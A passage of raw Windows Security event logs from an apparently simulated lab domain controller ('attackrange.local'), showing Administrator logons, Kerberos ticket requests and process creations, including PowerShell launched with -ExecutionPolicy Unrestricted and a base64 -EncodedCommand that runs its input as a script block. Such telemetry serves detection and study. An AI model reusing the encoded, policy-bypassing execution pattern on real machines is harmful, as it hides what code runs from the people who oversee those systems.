-ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253488 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B7F6D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {88A268E1-BBD5-835D-2CDA-EFB4924AE83B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253487 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {88A268E1-BBD5-835D-2CDA-EFB4924AE83B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253486 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {88A268E1-BBD5-835D-2CDA-EFB4924AE83B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253485 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253484 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B46FA - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xcc4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESF6AC.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC13D8FEE0B8324EF6AE92701EE563C0A9.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253483 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B46FA - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcc4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1154 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\r3pyanh1.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253482 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B71D3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253481 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B71D3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {88A268E1-BBD5-835D-2CDA-EFB4924AE83B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253480 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {88A268E1-BBD5-835D-2CDA-EFB4924AE83B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253479 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {88A268E1-BBD5-835D-2CDA-EFB4924AE83B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253478 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253477 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B46FA - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1258 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1154 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253476 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B46FA - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1154 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x101c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253475 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B513B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253474 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B513B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {88A268E1-BBD5-835D-2CDA-EFB4924AE83B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253473 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {88A268E1-BBD5-835D-2CDA-EFB4924AE83B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253472 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {88A268E1-BBD5-835D-2CDA-EFB4924AE83B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253471 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253470 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B46FA - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x101c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x117c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is 